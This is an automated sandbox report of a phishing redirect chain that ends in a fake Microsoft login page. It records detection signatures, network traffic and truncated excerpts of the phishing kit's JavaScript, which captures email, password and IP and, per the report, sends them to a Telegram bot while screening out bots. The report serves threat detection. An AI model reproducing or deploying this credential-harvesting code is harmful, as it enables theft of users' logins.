Edit tour

Windows Analysis Report
https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D

Overview

General Information

Sample URL:	https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D
Analysis ID:	1665759
Infos:

Detection

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

AI detected suspicious Javascript

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Uses the Telegram API (likely for C&C communication)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

Javascript checks online IP of machine

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,15005226337836667698,11510698760047465980,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2032 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Suricata Signatures

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-15T20:07:14.717985+0200	1810007	1	Potentially Bad Traffic	192.168.2.10	49760	149.154.167.220	443	TCP
2025-04-15T20:07:15.151135+0200	1810007	1	Potentially Bad Traffic	192.168.2.10	49761	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' is not associated with Microsoft., The presence of a brand like Microsoft on an unrelated domain is suspicious., The URL contains no direct reference to Microsoft, which is a red flag., The input field 'Enter recipient email' could be used for phishing purposes. DOM: 1.3.pages.csv
Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' is not associated with Microsoft., The presence of a non-Microsoft domain with a well-known brand name is suspicious., The URL does not contain any direct reference to Microsoft, which is a red flag for phishing. DOM: 1.4.pages.csv

AI detected suspicious Javascript

Source: 1.11..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oka.greenthreads.hr/_next/static/chunks/pa... This script demonstrates several high-risk behaviors, including data exfiltration, obfuscated code, and potential malicious intent. It collects sensitive user information (email, password, IP address, user agent) and sends it to a Telegram bot, which is a strong indicator of malicious activity. Additionally, the script checks for bot activity and redirects users to a 'denied' page if detected, further suggesting suspicious behavior. Overall, this script poses a significant security risk and should be treated with caution.

Javascript uses Clearbit API to dynamically determine company logos

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-dadb5f79ae394453.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p||[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,p]=(0,o.usestate)("/favicon.ico"),[_,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];p("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://k-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_bot:...

Javascript uses Telegram API

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-dadb5f79ae394453.js

Source: https://oka.greenthreads.hr/

HTTP Parser: Number of links: 0

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b

HTTP Parser: Base64 decoded: 1744740380.000000

Source: https://nero.kempo-karic.shop/script.js	HTTP Parser: async function getuserip() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('failed to get ip:', error); return '0.0.0.0'; // default ip in case of error }}// function to detect canvas fingerprintingfunction iscanvasblocked() { try { const canvas = document.createelement("canvas"); const ctx = canvas.getcontext("2d"); if (!ctx) return true; ctx.filltext("bot detection", 10, 10); return ctx.getimagedata(10, 10, 1, 1).data.length === 0; } catch (e) { return true; // if an error occurs, assume the canvas is blocked }}function detectbotlocally() { const botpatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/]; const isbotuseragent = botpatterns.some(pattern => pattern.test(navigator.useragent.tolowercase())); c...
Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-dadb5f79ae394453.js	HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e\|\|[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,p]=(0,o.usestate)("/favicon.ico"),[_,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];p("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://k-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_bot:...

Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found

Source: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b	HTTP Parser: No favicon
Source: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 173.194.219.99:443 -> 192.168.2.10:49694 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.161.110.119:443 -> 192.168.2.10:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.161.110.119:443 -> 192.168.2.10:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.10:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.10:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.10:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.10:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.24.57.1:443 -> 192.168.2.10:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.234:443 -> 192.168.2.10:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.21:443 -> 192.168.2.10:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.10:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.161.136.8:443 -> 192.168.2.10:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.0.73.2:443 -> 192.168.2.10:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.10:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.4:443 -> 192.168.2.10:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.77:443 -> 192.168.2.10:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.33.22.3:443 -> 192.168.2.10:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.10:49766 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.10:49761 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.10:49760 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: ralph.owa-netbros.shop to https://nero.kempo-karic.shop?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: patnero.thesilent.de to https://classntfst.shop/ne/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://oka.greenthreads.hr
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: patnero.thesilent.de to https://classntfst.shop/ne/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: classntfst.shop to https://oka.greenthreads.hr

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.122.94
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.122.94
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.122.94
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.122.94
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.26
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.122.94
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.122.94
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D HTTP/1.1Host: ralph.owa-netbros.shopConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles.css HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /script.js HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721bAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/580ba44007a6/main.js? HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.3809236297663976:1744738218:dh8UM0OA3R3TRKLnGxn5QeCH6HsMhAaIP_IuOoiA6TU/930d6048ad517b37 HTTP/1.1Host: nero.kempo-karic.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/get_doc_url HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ne/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1744740396593&hash=2892a5c411e4b8c308678cf662d61542f91b2205e91a20eca90c152afaac93f9 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ne/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
